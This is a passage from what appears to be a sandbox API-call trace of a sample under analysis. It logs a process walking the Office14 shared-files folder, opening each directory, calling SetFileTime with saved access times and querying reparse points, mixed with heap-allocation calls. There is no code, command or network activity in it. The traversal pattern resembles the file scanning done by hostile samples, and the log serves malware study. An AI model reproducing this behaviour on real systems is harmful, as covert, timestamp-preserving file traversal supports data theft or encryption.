RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.174] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.175] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.175] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.175] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.175] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32421600, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xae0a2c00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x32421600, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x14db68, dwReserved0=0x0, dwReserved1=0x0, cFileName="RICHED20.DLL", cAlternateFileName="")) returned 0 [0087.175] GetLastError () returned 0x12 [0087.175] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e91c0 [0087.176] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0087.176] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7a735b0, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xb30acfc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb30acfc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.176] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b36970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xba7b1bc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xba7b1bc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0087.176] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0087.176] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d150) returned 1 [0087.176] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13029c8 [0087.176] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\1033" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office14\\1033"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b36970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xba7b1bc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xba7b1bc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0087.178] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\1033" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office14\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0087.178] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0087.178] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1322698 [0087.178] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1322698, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1322698, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0087.178] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1322698) returned 1 [0087.178] NtClose (Handle=0x16c) returned 0x0 [0087.179] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13029c8) returned 1 [0087.179] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d150 [0087.179] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.179] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13029c8 [0087.180] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d150) returned 1 [0087.180] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1303310 [0087.180] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0087.180] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b36970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xba7b1bc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xba7b1bc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.180] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdeee800, ftCreationTime.dwHighDateTime=0x1cbf448, ftLastAccessTime.dwLowDateTime=0xba7d7d20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xcdeee800, ftLastWriteTime.dwHighDateTime=0x1cbf448, nFileSizeHigh=0x0, nFileSizeLow=0x262180, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.DLL", cAlternateFileName="")) returned 1 [0087.180] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d150 [0087.180] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d150) returned 1 [0087.180] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d150 [0087.181] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d150) returned 1 [0087.181] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d150 [0087.181] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d150) returned 1 [0087.181] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78fe4200, ftCreationTime.dwHighDateTime=0x1cac9ab, ftLastAccessTime.dwLowDateTime=0x19b36970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78fe4200, ftLastWriteTime.dwHighDateTime=0x1cac9ab, nFileSizeHigh=0x0, nFileSizeLow=0xd980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.DLL.IDX_DLL", cAlternateFileName="")) returned 1 [0087.181] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d150 [0087.182] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d150) returned 1 [0087.182] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d150 [0087.182] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d150) returned 1 [0087.182] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d150 [0087.182] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13028c0 [0087.183] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.183] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bb628 [0087.183] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1303520 [0087.183] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d150) returned 1 [0087.183] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78fe4200, ftCreationTime.dwHighDateTime=0x1cac9ab, ftLastAccessTime.dwLowDateTime=0x19b5cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78fe4200, ftLastWriteTime.dwHighDateTime=0x1cac9ab, nFileSizeHigh=0x0, nFileSizeLow=0x152f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.REST.IDX_DLL", cAlternateFileName="")) returned 1 [0087.183] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d150 [0087.184] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d150) returned 1 [0087.184] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d150 [0087.184] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d150) returned 1 [0087.184] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d150 [0087.185] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bb648 [0087.185] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1303628 [0087.185] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d150) returned 1 [0087.185] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78fe4200, ftCreationTime.dwHighDateTime=0x1cac9ab, ftLastAccessTime.dwLowDateTime=0x19b5cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78fe4200, ftLastWriteTime.dwHighDateTime=0x1cac9ab, nFileSizeHigh=0x0, nFileSizeLow=0x152f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.REST.IDX_DLL", cAlternateFileName="")) returned 0 [0087.185] GetLastError () returned 0x12 [0087.185] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9000 [0087.185] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0087.185] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b36970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xba7b1bc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xba7b1bc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.185] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdeee800, ftCreationTime.dwHighDateTime=0x1cbf448, ftLastAccessTime.dwLowDateTime=0xba7d7d20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xcdeee800, ftLastWriteTime.dwHighDateTime=0x1cbf448, nFileSizeHigh=0x0, nFileSizeLow=0x262180, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.DLL", cAlternateFileName="")) returned 1 [0087.185] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78fe4200, ftCreationTime.dwHighDateTime=0x1cac9ab, ftLastAccessTime.dwLowDateTime=0x19b36970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78fe4200, ftLastWriteTime.dwHighDateTime=0x1cac9ab, nFileSizeHigh=0x0, nFileSizeLow=0xd980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.DLL.IDX_DLL", cAlternateFileName="")) returned 1 [0087.185] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78fe4200, ftCreationTime.dwHighDateTime=0x1cac9ab, ftLastAccessTime.dwLowDateTime=0x19b5cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78fe4200, ftLastWriteTime.dwHighDateTime=0x1cac9ab, nFileSizeHigh=0x0, nFileSizeLow=0x152f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.REST.IDX_DLL", cAlternateFileName="")) returned 1 [0087.185] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78fe4200, ftCreationTime.dwHighDateTime=0x1cac9ab, ftLastAccessTime.dwLowDateTime=0x19b5cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78fe4200, ftLastWriteTime.dwHighDateTime=0x1cac9ab, nFileSizeHigh=0x0, nFileSizeLow=0x152f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.REST.IDX_DLL", cAlternateFileName="")) returned 0 [0087.185] GetLastError () returned 0x12 [0087.186] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1303310) returned 1 [0087.186] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0087.186] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13028c0) returned 1 [0087.186] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13029c8) returned 1 [0087.186] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a395f00, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0xae3504c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7a395f00, ftLastWriteTime.dwHighDateTime=0x1cbe56c, nFileSizeHigh=0x0, nFileSizeLow=0x35afb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Csi.dll", cAlternateFileName="")) returned 1 [0087.186] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadf72d00, ftCreationTime.dwHighDateTime=0x1cb8cce, ftLastAccessTime.dwLowDateTime=0xae376620, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xadf72d00, ftLastWriteTime.dwHighDateTime=0x1cb8cce, nFileSizeHigh=0x0, nFileSizeLow=0x129b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="CsiSoap.dll", cAlternateFileName="")) returned 1 [0087.186] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xad3651a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xad3651a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xad3651a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cultures", cAlternateFileName="")) returned 1 [0087.186] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13029c8 [0087.187] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\Cultures" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office14\\cultures"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xad3651a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xad3651a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xad3651a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0087.187] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\Cultures" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office14\\cultures"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x124 [0087.187] SetFileTime (hFile=0x124, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0087.187] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1322698 [0087.188] DeviceIoControl (in: hDevice=0x124, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1322698, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1322698, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0087.188] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1322698) returned 1 [0087.188] NtClose (Handle=0x124) returned 0x0 [0087.188] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13029c8) returned 1 [0087.188] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d150 [0087.188] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.189] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13029c8 [0087.189] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d150) returned 1 [0087.189] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13028c0 [0087.189] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\Cultures\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9000 [0087.190] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xad3651a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xad3651a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xad3651a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.190] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3715a00, ftCreationTime.dwHighDateTime=0x1cbe3e4, ftLastAccessTime.dwLowDateTime=0xad3b1460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3715a00, ftLastWriteTime.dwHighDateTime=0x1cbe3e4, nFileSizeHigh=0x0, nFileSizeLow=0x419360, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE.ODF", cAlternateFileName="")) returned 1 [0087.190] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d150 [0087.190] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d150) returned 1 [0087.190] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d150 [0087.190] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d150) returned 1 [0087.191] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d150 [0087.191] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1303310 [0087.191] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.191] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bb668 [0087.191] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1303730 [0087.192] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d150) returned 1 [0087.192] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3715a00, ftCreationTime.dwHighDateTime=0x1cbe3e4, ftLastAccessTime.dwLowDateTime=0xad3b1460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3715a00, ftLastWriteTime.dwHighDateTime=0x1cbe3e4, nFileSizeHigh=0x0, nFileSizeLow=0x419360, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE.ODF", cAlternateFileName="")) returned 0 [0087.192] GetLastError () returned 0x12 [0087.192] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\Cultures\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0087.192] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0087.192] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xad3651a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xad3651a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xad3651a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.192] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3715a00, ftCreationTime.dwHighDateTime=0x1cbe3e4, ftLastAccessTime.dwLowDateTime=0xad3b1460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3715a00, ftLastWriteTime.dwHighDateTime=0x1cbe3e4, nFileSizeHigh=0x0, nFileSizeLow=0x419360, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE.ODF", cAlternateFileName="")) returned 1 [0087.192] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3715a00, ftCreationTime.dwHighDateTime=0x1cbe3e4, ftLastAccessTime.dwLowDateTime=0xad3b1460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3715a00, ftLastWriteTime.dwHighDateTime=0x1cbe3e4, nFileSizeHigh=0x0, nFileSizeLow=0x419360, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE.ODF", cAlternateFileName="")) returned 0 [0087.192] GetLastError () returned 0x12 [0087.192] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13028c0) returned 1 [0087.192] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0087.193] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1303310) returned 1 [0087.193] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13029c8) returned 1 [0087.193] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1c46c00, ftCreationTime.dwHighDateTime=0x1cbdfac, ftLastAccessTime.dwLowDateTime=0xacfacf40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb1c46c00, ftLastWriteTime.dwHighDateTime=0x1cbdfac, nFileSizeHigh=0x0, nFileSizeLow=0x11e9780, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSO.DLL", cAlternateFileName="")) returned 1 [0087.193] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf201500, ftCreationTime.dwHighDateTime=0x1cbf448, ftLastAccessTime.dwLowDateTime=0xb34d7640, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xcf201500, ftLastWriteTime.dwHighDateTime=0x1cbf448, nFileSizeHigh=0x0, nFileSizeLow=0x4529780, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSORES.DLL", cAlternateFileName="")) returned 1 [0087.193] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec942b00, ftCreationTime.dwHighDateTime=0x1cbc467, ftLastAccessTime.dwLowDateTime=0xae1f9860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xec942b00, ftLastWriteTime.dwHighDateTime=0x1cbc467, nFileSizeHigh=0x0, nFileSizeLow=0xf1390, dwReserved0=0x0, dwReserved1=0x0, cFileName="msoshext.dll", cAlternateFileName="")) returned 1 [0087.193] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd09ff800, ftCreationTime.dwHighDateTime=0x1cab7c7, ftLastAccessTime.dwLowDateTime=0x220cfc30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd09ff800, ftLastWriteTime.dwHighDateTime=0x1cab7c7, nFileSizeHigh=0x0, nFileSizeLow=0xbf80, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOXMLMF.DLL", cAlternateFileName="")) returned 1 [0087.193] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7ae59d0, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xbe284040, ftLastAccessTime.dwHighDateTime=0x1d301bd, ftLastWriteTime.dwLowDateTime=0xbe284040, ftLastWriteTime.dwHighDateTime=0x1d301bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office Setup Controller", cAlternateFileName="")) returned 1 [0087.193] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13029c8 [0087.193] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\Office Setup Controller" (normalized: "c:\\program files (x86)\\common files\\microsoft 